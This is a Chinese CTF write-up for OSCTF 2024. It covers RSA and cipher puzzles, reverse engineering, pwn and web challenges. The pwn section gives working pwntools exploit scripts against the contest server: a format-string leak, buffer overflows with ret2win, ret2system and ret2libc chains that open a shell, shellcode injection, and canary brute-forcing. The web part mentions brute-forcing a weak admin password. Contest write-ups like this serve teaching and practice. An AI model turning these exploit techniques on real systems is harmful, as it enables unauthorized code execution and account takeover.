OSCTF 2024 EICS1 WP (web, reverse, pwn 全解,cry部分)
队伍:ElCS1 排名:24 分数:5085 pts
师傅们都tql!
User Name | Score |
---|---|
Jerrythepro123 | 2230 |
sanmu | 240 |
Dragonkeep & LamentXU | 2015 |
6s6 | 400 |
Aly1xbot | 200 |
这次比赛我们队的osint和misc手没时间。导致取证,osint和misc难的都不会,简单的又没啥好写的,索性直接开摆了
Crypto
The Secret Message
难度:热身chall.py
from Cryptodome.Util.number import getPrime, bytes_to_long
flag = bytes_to_long(b"REDACTED")
p = getPrime(512)
q = getPrime(512)
n = p*q
e = 3
ciphertext = pow(flag, e, n)
print("n: ", n)
print("e: ", e)
print("ciphertext: ", ciphertext)
encrypted.txt
n: 95529209895456302225704906479347847909957423713146975001566374739455122191404873517846348720717334832208112563199994182911677708320666162110219260456995238587348694937990770918797369279309985690765014929994818701603418084246649965352663500490541743609682236183632053755116058982739236349050530235419666436143
e: 3
ciphertext: 123455882152544968263105106204728561055927061837559618140477097078038573915018542652304779417958037315601542697001430243903815208295768006065618427997903855304186888710867473025125
看到e=3直接释怀了
没啥好说的,小指数明文攻击啥的可以端上来了
但是这里因为e实在是太小了,导致了一种极端情况的出现
m^e%n = c, 由于m^e < n, 导致 m^e = c
直接对c开三次根得到m,即为flag
from Cryptodome.Util.number import long_to_bytes
import gmpy2
n= 95529209895456302225704906479347847909957423713146975001566374739455122191404873517846348720717334832208112563199994182911677708320666162110219260456995238587348694937990770918797369279309985690765014929994818701603418084246649965352663500490541743609682236183632053755116058982739236349050530235419666436143
e= 3
ciphertext= 123455882152544968263105106204728561055927061837559618140477097078038573915018542652304779417958037315601542697001430243903815208295768006065618427997903855304186888710867473025125
print(long_to_bytes(gmpy2.iroot(ciphertext, 3)[0]))
OSCTF{Cub3_R00Ting_RSA!!}
Couple Primesc
难度:热身source.py
from Crypto.Util.number import *
from sympy import nextprime
flag = b'REDACTED'
p = getPrime(1024)
q = nextprime(p)
e = 65537
n = p * q
c = pow(bytes_to_long(flag), e, n)
print(f"n = {n}")
print(f"c = {c}")
cipher
n = 20159884168863899177128175715030429666461733285660170664255048579116265087763268748333820860913271674586980839088092697230336179818435879126554509868570255414201418619851045615744211750178240471758695923469393333600480843090831767416937814471973060610730578620506577745372347777922355677932755542699210313287595362584505135967456855068550375989801913361017083952090117041405458626488736811460716474071561590513778196334141517893224697977911862004615690183334216587398645213023148750443295007000911541566340284156527080509545145423451091853688188705902833261507474200445477515893168405730493924172626222872760780966427
c = 18440162368010249375653348677429595229051180035668845001125855048750591059785630865891877031796050869136099359028540172514890273415892550857190509410541828375948243175466417949548148007390803680005616875833010137407850955608659023797782656930905693262770473679394796595557898347900786445803645539553815614140428316398058138450937721961593146082399553119578102712100359284788650328835784603011091312735813903241087475279011862693938914825685547337081335030237385061397899718079346063519325222861490101383929790275635381333028091769118083102339908694751574572782030287570280071809896532329742115422479473386147281509394
注意到source中获取p,q时直接使用的nextprime,即两素数相差很近
直接费马分解+RSA解密丝滑连招出flag
使用yafu进行分解:
得到p, q
正常RSA解密即可
from Crypto.Util.number import *
p = 141985506897231941308512923885300128905042311260138568794604206121080701727914934144982091139843178794485634682609841794924046596349428012470654095827271229332196334064446305896952838867217202135745989681311949561794583125471246401285687229433924674917884710139141784537370509554520561718028000388149962362867
q = 141985506897231941308512923885300128905042311260138568794604206121080701727914934144982091139843178794485634682609841794924046596349428012470654095827271229332196334064446305896952838867217202135745989681311949561794583125471246401285687229433924674917884710139141784537370509554520561718028000388149962362681
n = 20159884168863899177128175715030429666461733285660170664255048579116265087763268748333820860913271674586980839088092697230336179818435879126554509868570255414201418619851045615744211750178240471758695923469393333600480843090831767416937814471973060610730578620506577745372347777922355677932755542699210313287595362584505135967456855068550375989801913361017083952090117041405458626488736811460716474071561590513778196334141517893224697977911862004615690183334216587398645213023148750443295007000911541566340284156527080509545145423451091853688188705902833261507474200445477515893168405730493924172626222872760780966427
c = 18440162368010249375653348677429595229051180035668845001125855048750591059785630865891877031796050869136099359028540172514890273415892550857190509410541828375948243175466417949548148007390803680005616875833010137407850955608659023797782656930905693262770473679394796595557898347900786445803645539553815614140428316398058138450937721961593146082399553119578102712100359284788650328835784603011091312735813903241087475279011862693938914825685547337081335030237385061397899718079346063519325222861490101383929790275635381333028091769118083102339908694751574572782030287570280071809896532329742115422479473386147281509394
e = 65537
phi = (p-1)*(q-1)
d = inverse(e, phi)
print(long_to_bytes(pow(c, d, n)))
OSCTF{m4y_7h3_pR1m3_10v3_34cH_07h3r?}
Efficient RSA
难度:热身chall.py
from Cryptodome.Util.number import getPrime, bytes_to_long
Flag = bytes_to_long(b"REDACTED")
p = getPrime(112)
q = getPrime(112)
n = p*q
e = 65537
ciphertext = pow(Flag, e, n)
print([n, e, ciphertext])
encrypted.txt
[13118792276839518668140934709605545144220967849048660605948916761813, 65537, 8124539402402728939748410245171419973083725701687225219471449051618]
看到如此小的p和q谁能拒绝暴力分解n呢?
得到q,p,正常RSA解密即可
from Crypto.Util.number import *
p = 3058290486427196148217508840815579
q = 4289583456856434512648292419762447
n = 13118792276839518668140934709605545144220967849048660605948916761813
c = 8124539402402728939748410245171419973083725701687225219471449051618
e = 65537
phi = (p-1)*(q-1)
d = inverse(e, phi)
print(long_to_bytes(pow(c, d, n)))
OSCTF{F4ct0r1Ng_F0r_L1f3}
Love Story
难度:热身(有hint之后)(吐槽:这都第多少个热身题了。。。)
看hint源代码
def to_my_honey(owo):
return ord(owo) - 0x41
def from_your_lover(uwu):
return chr(uwu % 26 + 0x41)
def encrypt(billet_doux):
letter = ''
for heart in range(len(billet_doux)):
letters = billet_doux[heart]
if not letters.isalpha():
owo = letters
else:
uwu = to_my_honey(letters)
owo = from_your_lover(uwu + heart)
letter += owo
return letter
m = "REDACTED"
c = encrypt(m)
print(c)
这题放reverse里都是合适的(捂脸)
加密逻辑
to_my_honey(owo): 将字符转换为其在字母表中的位置(从0开始)
from_your_lover(uwu): 将数字转回字符,考虑字母表的环绕
encrypt(billet_doux): 对于字符串中的每个字符,根据字符的位置进行调整,并使用上述两个函数处理字母字符
解密函数
解密函数的工作是将加密逻辑反转:
对于每个字母,将字符转换为其字母表中的位置
从这个位置中减去字符在字符串中的索引
将结果模26,并将其转换回字母
def to_my_honey(owo):
return ord(owo) - 0x41
def from_your_lover(uwu):
return chr(uwu % 26 + 0x41)
def decrypt(encrypted_message):
letter = ''
for heart in range(len(encrypted_message)):
letters = encrypted_message[heart]
if not letters.isalpha():
owo = letters
else:
uwu = to_my_honey(letters)
# Reverse the index addition and handle negative values correctly
original_position = (uwu - heart) % 26
owo = from_your_lover(original_position)
letter += owo
return letter
encrypted_message = 'KJOL_T_ZCTS_ZV_CQKLX_NDFKZTUC.'
decrypted_message = decrypt(encrypted_message)
print("Decrypted Message:", decrypted_message)
最后这个结果莫名其妙,但是确实是对的。也许这就是爱情吧(love story)
OSCTF{KIMI_O_SUKI_NI_NATTE_SHIMATTA.}
Cipher Conundrum
难度:简单encrypted.txt
NDc0YjM0NGMzNzdiNTg2NzVmNDU1NjY2NTE1ZjM0NTQ2ODM5NzY0YTZiNmI2YjZiNmI3ZA==
赛博厨子可以梭
梭了吗,如梭
ROT爆破出
Base64 -> HEX -> ROT8
OSCTF{5o_M3nY_C1ph3Rsssss}
Reverse
Gophers Language
难度:热身无壳,64位,IDA打开
直接发现main_main,出题人他真的我哭死
F5反编译,显然,这里的v13就是我们输入的值
发现首先使用了一个if判断了v13的长度是否为21,由此得知flag长度为21
这样我们就可以把断点打进runtime_memequal里了
比较处下断点,F9调试输入任意长度为21的字符串,如123456789123456789123
运行到断点处后双击v1查看v1值即可
OSCTF{Why_G0_S0_H4rd}
Another Python Game
难度:热身pyinstxtractor.py对着source.exe文件梭出pyc文件
直接在线工具反编译即可
(小声)不是就这难度谁会bruteforce啊(汗)
OSCTF{1_5W3ar_I_D1dn'7_BruT3f0rc3}
The Broken Sword
from Crypto.Util.number import *
from secret import flag,a,v2,pi
z1 = a+flag
y = long_to_bytes(z1)
print("The message is",y)
s = ''
s += chr(ord('a')+23)
v = ord(s)
f = 5483762481^v
g = f*35
r = 14
l = g
surface_area= pi*r*l
w = surface_area//1
s = int(f)
v = s^34
for i in range(1,10,1):
h = v2*30
h ^= 34
h *= pi
h /= 4567234567342
a += g+v2+f
a *= 67
al=a
print("a1:",al)
print('h:',h)
#The message is b'\x0c\x07\x9e\x8e/\xc2'
#a1 is: 899433952965498
#h is: 0.0028203971921452278
题目难度不是很大,唯一需要做的就是把pi的值找出来因为不知道是多少个小数点位。可以写一个简单的脚本来验证是否是正确的pi。
v2=0.0028203971921452278
v2*=4567234567342
v2/=3.14
v2=int(v2)
v2^=34
v2/=30
print(int(v2))
v2=int(v2)
h = v2*30
h ^= 34
h *= 3.14
h /= 4567234567342
print(h)
print(h==0.0028203971921452278)
当pi确定是对的,那就可以求出v2。有了v2就可以用z3来逆向出flag和a的值
from z3 import *
pi=3.14
f=5483762505
g=191931687675
z1=13226864422850
v2=136745387
a1=899433952965498
a=Int('a')
flag=Int('flag')
s = Solver()
s.add(a+flag==z1)
s.add((a+g+v2+f)*67==a1)
s.check()
print("OSCTF{"+str(s.model()[flag].as_long())+"_"+str(s.model()[a].as_long())+"_"+str(v2)+"}")
#OSCTF{29260723_13226835162127_136745387}
OSCTF{29260723_13226835162127_136745387}
Avengers Assemble
asm
extern printf
extern scanf
section .data
fmt: db "%ld",0
output: db "Correct",10,0
out: db "Not Correct",10,0
inp1: db "Input 1st number:",0
inp2: db "Input 2nd number:",0
inp3: db "Input 3rd number:",0
section .text
global main
main:
push ebp
mov ebp,esp
sub esp,0x20
push inp1
call printf
lea eax,[ebp-0x4]
push eax
push fmt
call scanf
push inp2
call printf
lea eax,[ebp-0xc]
push eax
push fmt
call scanf
push inp3
call printf
lea eax,[ebp-0x14]
push eax
push fmt
call scanf
mov ebx, DWORD[ebp-0xc]
add ebx, DWORD[ebp-0x4]
cmp ebx,0xdeadbeef
jne N
cmp DWORD[ebp-0x4], 0x6f56df65
jg N
cmp DWORD[ebp-0xc], 0x6f56df8d
jg N
cmp DWORD[ebp-0xc], 0x6f56df8d
jl N
mov ecx, DWORD[ebp-0x14]
mov ebx, DWORD[ebp-0xc]
xor ecx, ebx
cmp ecx, 2103609845
jne N
jmp O
N:
push out
call printf
leave
ret
O:
push output
call printf
leave
ret
简单看了代码,只要保证不调到最N函数就可以。
push inp1
call printf
lea eax,[ebp-0x4]
push eax
push fmt
call scanf
push inp2
call printf
lea eax,[ebp-0xc]
push eax
push fmt
call scanf
push inp3
call printf
lea eax,[ebp-0x14]
push eax
push fmt
call scanf
分析这段汇编,得知ebp-0x4=inp1, ebp-0xc=inp2, ebp-0x14=inp3。
mov ebx, DWORD[ebp-0xc]
add ebx, DWORD[ebp-0x4]
cmp ebx,0xdeadbeef
jne N
cmp DWORD[ebp-0x4], 0x6f56df65
jg N
前四行要就inp1+inp2=0xdeadbeef,之后inp1要小于0x6f56df65。
cmp DWORD[ebp-0xc], 0x6f56df8d
jg N
cmp DWORD[ebp-0xc], 0x6f56df8d
jl N
inp2必须不能大于0x6f56df8d或者小于,那它必须等于0x6f56df8d
mov ecx, DWORD[ebp-0x14]
mov ebx, DWORD[ebp-0xc]
xor ecx, ebx
cmp ecx, 2103609845
jne N
jmp O
inp2 xor inp3 = 2103609845,根据布尔代数a^b=c, a^c=b,那inp2 xor 2103609845 = inp3
最终代码
inp2=0x6f56df8d
inp3=inp2^2103609845
inp1=0xdeadbeef-inp2
print("OSCTF{"+str(inp1)+"_"+str(inp2)+"_"+str(inp3)+"}")
OSCTF{1867964258_1867964301_305419896}
PWN
Leaky Pipes
在 vuln
函数中存在一个格式字符串漏洞,标志也被读入堆栈。因此,可以使用格式字符串泄漏堆栈值来获取标志。
源代码
int vuln()
{
char v1[128]; // [esp+0h] [ebp-C8h] BYREF
char v2[68]; // [esp+80h] [ebp-48h] BYREF
readflag(v2, 64);
printf("Tell me your secret so I can reveal mine ;) >> ");
__isoc99_scanf("%127s", v1);
puts("Here's your secret.. I ain't telling mine :p");
printf(v1);
return putchar(10);
}
通过编写暴力破解脚本,我们可以找到flag在堆栈中的位置。
标志位置查找器
from pwn import *
flag=""
for i in range(1,100):
payload="%"+str(i)+"$p"
io=remote("34.125.199.248", 1337)
io.recvuntil('>>')
io.sendline(payload)
io.recvline()
back=io.recvline().split("\n")
if back[0]=="(nil)":
continue
back=back[0].split("0x")[1]
if len(back)%2!=0:
back="0"+back
print back.decode("hex")[::-1]
#36 45
利用脚本
from pwn import *
flag=""
for i in range(36,45):
payload="%"+str(i)+"$p"
io=remote("34.125.199.248", 1337)
io.recvuntil('>>')
io.sendline(payload)
io.recvline()
back=io.recvline().split("\n")
if back[0]=="(nil)":
continue
back=back[0].split("0x")[1]
if len(back)%2!=0:
back="0"+back
flag+=back.decode("hex")[::-1]
print flag
注:此挑战使用的脚本与picoctf的flag_leak挑战相同。
Buffer Buffet
分析代码,发现使用 gets
函数读取输入时存在明显的缓冲区溢出漏洞。
源代码
__int64 vuln()
{
char v1[400]; // [rsp+0h] [rbp-190h] BYREF
puts("Enter some text:");
gets(v1);
printf("You entered: %s\n", v1);
return 0LL;
}
在地址 0x04011D6
处也有一个 win
函数。
通过在gdb中使用循环模式并进行调试,我们发现到返回地址的偏移量为408字节。
循环模式生成器
def hex2str(hex_string):
result = ""
for i in range(0, len(hex_string), 2):
hex_pair = hex_string[i:i+2]
decimal_value = int(hex_pair, 16)
char = chr(decimal_value)
result += char
return result
testlen=int(input("Requested Test String Length(Max 5564 Characters): "))
v=True
version=input("1. 32 Bit\n2. 64 Bit\n")
if version==2:
v=False
if testlen>5564:
print("Too Large")
exit()
a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
length=0
padding=""
for i in range(len(a)):
payload = a[i] * 4
for j in range(i+1,len(a)):
payload+=a[j]+a[i]*3
padding+=str(payload)+'0'
padding=padding[0:testlen]
print "Test String:",padding
back=input("Segfault Output: ")
back=hex2str(hex(back).split('0x')[1])[::-1]
if not v:
back=back[:4]
padding=padding.split(back)
print "Padding is",len(padding[0])
print "A"*len(padding[0])
利用脚本
from pwn import *
io=remote("34.125.199.248", 4056)
payload="A"*408+p64(0x04011D6)
io.sendlineafter(":",payload)
print io.recvuntil("}")
Byte Breakup
分析代码发现,这里同样存在缓冲区溢出漏洞。虽然只有一个调用 /bin/ls
的函数,但这并不是我们想要的。
有两种方法可以解决这个问题:第一种方法需要泄露 libc
以创建完整的ROP链,通过 ret2libc
。然而,还有一种更简单的方法可以在不创建复杂ROP链的情况下进行利用。
源代码
push rbp
mov rbp, rsp
lea rax, command ; "/bin/ls"
mov rdi, rax ; command
mov eax, 0
call _system
nop
pop rbp
retn
这是 soClose
函数的汇编代码,如果我们获取 call _system
的地址,我们基本上可以控制任意命令,只要我们也能控制 rdi
寄存器。
幸运的是,通过运行 ROPgadget
,我们在 0x04012bb
处找到了一个 pop rdi
gadget。通过运行 ROPgadget --binary chal
,你将看到所有的gadget。
二进制文件中也有 /bin/sh
,通过运行 strings -a -t x chal | grep /bin/sh
,我们也可以得到它的地址。它在地址 0x3048
,但还需要添加 0x401000
作为基地址。
利用脚本
from pwn import *
bin_sh=p64(0x404048)
system=p64(0x0401257)
pop_rdi=p64(0x004012bb)
io=remote("34.125.199.248", 6969)
payload="A"*40+pop_rdi+bin_sh+system
io.sendlineafter(":",payload)
io.interactive()
注:给定了 libc
文件,但并不必要使用它进行解决,有类似的方法可以使用 libc
文件解决,但会更复杂。
seed sPRING
令人惊讶的是,这个问题与 picoCTF 的 seed sPRING 非常相似。
这是我找到的解决脚本。通过编译它并使用 ./solve | nc 34.125.199.248 2534
运行,它将在几次尝试中解决。
ShellMischief
程序基本上运行任意代码,但在随机位置。通过添加一个 nop
滑道可以解决问题。然而,我们的团队以不同的方式解决了它。
通过找到 ret
gadget,我们创建了一个 ret
滑道,它的作用与 nop
滑道相同。
利用脚本
from pwn import *
context(arch='i386',os='linux',log_level='debug')
sh = remote('34.125.199.248',1234)
# sh = process("./vuln")
ret_addr = 0x080481b2
# 13
shellcode = asm(shellcraft.sh())
sh.recvuntil("Enter your shellcode:\n")
# gdb.attach(sh)
# pause()
payload = p32(ret_addr)*26 + shellcode
sh.sendline(payload)
sh.interactive()
Lib Riddle
分析代码,由于 0x100 > 16
,存在缓冲区溢出漏洞。
源代码
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF
setbuf(_bss_start, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
puts("Welcome to the library... What's your name?");
read(0, buf, 0x100uLL);
puts("Hello there: ");
puts(buf);
return 0;
}
通过运行 ROPgadget
,我们在 0x0401273
处找到 pop rdi
。但是,由于这是一个64位二进制文件,可能需要一个 ret
gadget 进行堆栈对齐。ret
gadget 在 0x040101a
。
通过使用 PLT 和 GOT 表,我们可以泄漏 puts
函数的地址。
我们通过逆向工程二进制文件并获取地址来找到 PLT 和 GOT 表的地址。
利用脚本
from pwn import *
io=remote("34.125.199.248", 7809)
pop_rdi=p64(0x0401273)
puts_got=p64(0x0404018)
puts_plt=p64(0x401060)
ret=p64(0x040101a)
start=p64(0x0401090)
payload="A"*24+pop_rdi+puts_got+puts_plt+start
io.sendlineafter("?",payload)
io.recv()
io.recv(42)
libc=u64(io.recv(6)+2*"\x00")
libc=libc-0x84420
system=p64(libc+0x52290)
bin_sh=p64(libc+0x1b45bd)
payload="A"*24+ret+pop_rdi+bin_sh+system
io.sendlineafter("?",payload)
io.interactive()
Coal Mine Canary
分析 name_it
函数,我们可以理解程序的工作原理。
源代码
int name_it()
{
int v1; // [esp-Ch] [ebp-64h]
int v2; // [esp-8h] [ebp-60h]
int v3; // [esp-4h] [ebp-5Ch]
int v4; // [esp+0h] [ebp-58h] BYREF
char v5[32]; // [esp+4h] [ebp-54h] BYREF
char v6[32]; // [esp+24h] [ebp-34h] BYREF
int v7[2]; // [esp+44h] [ebp-14h] BYREF
int v8; // [esp+4Ch] [ebp-Ch]
v8 = 0;
v7[0] = global_birdy;
v7[1] = dword_804C050;
printf("How many letters should its name have?\n> ");
while ( v8 <= 31 )
{
read(0, &v5[v8], 1);
if ( v5[v8] == 10 )
break;
++v8;
}
__isoc99_sscanf(v5, "%d", &v4);
printf("And what's the name? \n> ");
read(0, v6, v4);
if ( memcmp(v7, &global_birdy, 8) )
{
puts("*** Stack Smashing Detected *** : Are you messing with my canary?!");
exit(-1, v1, v2, v3);
}
printf("Ok... its name is %s\n");
return fflush(stdout);
}
该函数从文件中读取8字节的canary,如果canary发生变化,程序会崩溃。
我们可以通过声明名字长度大于32字符并给自己取一个31字符的名字来泄露canary。这样做会泄露canary。
原因是不应设置32字符,因为read
函数会将换行符视为字符之一,因此如果是32字符会覆盖canary并导致程序崩溃。
Working in a coal mine is dangerous stuff.
Good thing I've got my bird to protect me.
Let's give it a name.
...
How many letters should its name have?
> 33
And what's the name?
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Ok... its name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
NECGLSPQ
canary 是 NECGLSPQ
。
然而,这里是大多数人被卡住的地方。看起来很容易,只需覆盖返回地址并跳转到 tweet_tweet
(即sin函数)。但实际情况是,该二进制文件启用了PIE...
我做的是在不知道PIE存在的情况下暴力破解地址。
利用脚本
from pwn import *
for i in range(1024):
io=remote("34.125.199.248", 5674)
win=p32(0x08049259)
payload="A"*32+"NECGLSPQ"+"A"*12+"BBBB"+p32(0x8049259+i)
io.recvuntil(">")
io.sendline("300")
io.sendafter("> ",payload)
io.recvuntil("BBBB")
try:
print hex(u32(io.recv(4)))
print io.recvuntil("}")
except:
print "NONE"
io.close()
Web
Introspection
F12看js一把梭
OSCTF{Cr4zY_In5P3c71On}
Indoor WebApp
进题点View Profile发现有参数,直接传个id为2就出了
Style Query Listing...?
SQLMAP一把梭了,就是国外比赛国内连接网络太拉跨,时间盲注老是挂
就搞出来一个tables
索性爆破看看有什么吧,发现有/admin路由,进去看看
此时的我:?????????????????????????????
应该是忘记设置权限了(大雾)
OSCTF{D1r3ct0RY_BrU7t1nG_4nD_SQL}
Heads or Tails?
依照hint要求爆破,发现存在/get-flag
Burp连一下
发现支持HEAD和OPTIONS方法
发送HEAD请求包得到flag
OSCTF{Und3Rr47Ed_H3aD_M3Th0D}
Action Notes
谁都没有想到啊,谁都没有想到啊。这题居然是弱密码。。。。
对着admin账户一通爆破出弱密码admin123,直接登录即可
OSCTF{Av0id_S1mpl3_P4ssw0rDs}
本文来自博客园,作者:LamentXU
转载请注明原文链接:https://www.cnblogs.com/LAMENTXU/articles/18301878
关于作者: http://lamentxu.gitlink.net/posts/resume/
QQ: UVHlj7fvvJoxMzcyNDQ5MzUxIOmdnuW4uOmrmOWFtOiupOivhuS9oO+8gQ==
WX: 5b6u5L+h5Y+377yaTGV0c0xhbWVudCDpnZ7luLjpq5jlhbTorqTor4bkvaDvvIE=